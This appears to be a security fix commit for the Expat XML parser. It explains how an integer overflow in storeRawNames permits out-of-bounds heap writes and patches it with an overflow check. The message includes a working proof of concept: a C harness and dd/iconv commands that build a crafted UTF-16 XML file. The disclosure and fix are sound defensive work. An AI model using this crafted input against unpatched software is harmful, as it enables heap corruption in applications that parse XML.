Prevent integer overflow in storeRawNames

It is possible to use an integer overflow in storeRawNames for out of
boundary heap writes. Default configuration is affected. If compiled
with XML_UNICODE then the attack does not work. Compiling with
-fsanitize=address confirms the following proof of concept.

The problem can be exploited by abusing the m_buffer expansion logic.
Even though the initial size of m_buffer is a power of two, eventually
it can end up a little bit lower, thus allowing allocations very close
to INT_MAX (since INT_MAX/2 can be surpassed). This means that tag
names can be parsed which are almost INT_MAX in size.

Unfortunately (from an attacker point of view) INT_MAX/2 is also a
limitation in string pools. Having a tag name of INT_MAX/2 characters
or more is not possible.

Expat can convert between different encodings. UTF-16 documents which
contain only ASCII representable characters are twice as large as their
ASCII encoded counter-parts.

The proof of concept works by taking these three considerations into
account:

1. Move the m_buffer size slightly below a power of two by having a
   short root node <a>. This allows the m_buffer to grow very close
   to INT_MAX.
2. The string pooling forbids tag names longer than or equal to
   INT_MAX/2, so keep the attack tag name smaller than that.
3. To be able to still overflow INT_MAX even though the name is
   limited at INT_MAX/2-1 (nul byte) we use UTF-16 encoding and a tag
   which only contains ASCII characters. UTF-16 always stores two
   bytes per character while the tag name is converted to using only
   one. Our attack node byte count must be a bit higher than
   2/3 INT_MAX so the converted tag name is around INT_MAX/3 which
   in sum can overflow INT_MAX.

Thanks to our small root node, m_buffer can handle 2/3 INT_MAX bytes
without running into INT_MAX boundary check. The string pooling is
able to store INT_MAX/3 as tag name because the amount is below
INT_MAX/2 limitation. And creating the sum of both eventually overflows
in storeRawNames.

Proof of Concept:

1. Compile expat with -fsanitize=address.

2. Create Proof of Concept binary which iterates through input
   file 16 MB at once for better performance and easier integer
   calculations:

```
cat > poc.c << EOF
 #include <err.h>
 #include <expat.h>
 #include <stdlib.h>
 #include <stdio.h>

 #define CHUNK (16 * 1024 * 1024)
 int main(int argc, char *argv[]) {
   XML_Parser parser;
   FILE *fp;
   char *buf;
   int i;

   if (argc != 2)
     errx(1, "usage: poc file.xml");
   if ((parser = XML_ParserCreate(NULL)) == NULL)
     errx(1, "failed to create expat parser");
   if ((fp = fopen(argv[1], "r")) == NULL) {
     XML_ParserFree(parser);
     err(1, "failed to open file");
   }
   if ((buf = malloc(CHUNK)) == NULL) {
     fclose(fp);
     XML_ParserFree(parser);
     err(1, "failed to allocate buffer");
   }
   i = 0;
   while (fread(buf, CHUNK, 1, fp) == 1) {
     printf("iteration %d: XML_Parse returns %d\n", ++i,
       XML_Parse(parser, buf, CHUNK, XML_FALSE));
   }
   free(buf);
   fclose(fp);
   XML_ParserFree(parser);
   return 0;
 }
EOF
gcc -fsanitize=address -lexpat -o poc poc.c
```

3. Construct specially prepared UTF-16 XML file:

```
dd if=/dev/zero bs=1024 count=794624 | tr '\0' 'a' > poc-utf8.xml
echo -n '<a><' | dd conv=notrunc of=poc-utf8.xml
echo -n '><' | dd conv=notrunc of=poc-utf8.xml bs=1 seek=805306368
iconv -f UTF-8 -t UTF-16LE poc-utf8.xml > poc-utf16.xml
```

4. Run proof of concept:

```
./poc poc-utf16.xml
```

expat/lib/xmlparse.c

@@ -2563,6 +2563,7 @@ storeRawNames(XML_Parser parser) {
   while (tag) {
     int bufSize;
     int nameLen = sizeof(XML_Char) * (tag->name.strLen + 1);
+    size_t rawNameLen;
     char *rawNameBuf = tag->buf + nameLen;
     /* Stop if already stored.  Since m_tagStack is a stack, we can stop
        at the first entry that has already been copied; everything
@@ -2574,7 +2575,11 @@ storeRawNames(XML_Parser parser) {
     /* For re-use purposes we need to ensure that the
        size of tag->buf is a multiple of sizeof(XML_Char).
     */
-    bufSize = nameLen + ROUND_UP(tag->rawNameLength, sizeof(XML_Char));
+    rawNameLen = ROUND_UP(tag->rawNameLength, sizeof(XML_Char));
+    /* Detect and prevent integer overflow. */
+    if (rawNameLen > (size_t)INT_MAX - nameLen)
+      return XML_FALSE;
+    bufSize = nameLen + (int)rawNameLen;
     if (bufSize > tag->bufEnd - tag->buf) {
       char *temp = (char *)REALLOC(parser, tag->buf, bufSize);
       if (temp == NULL)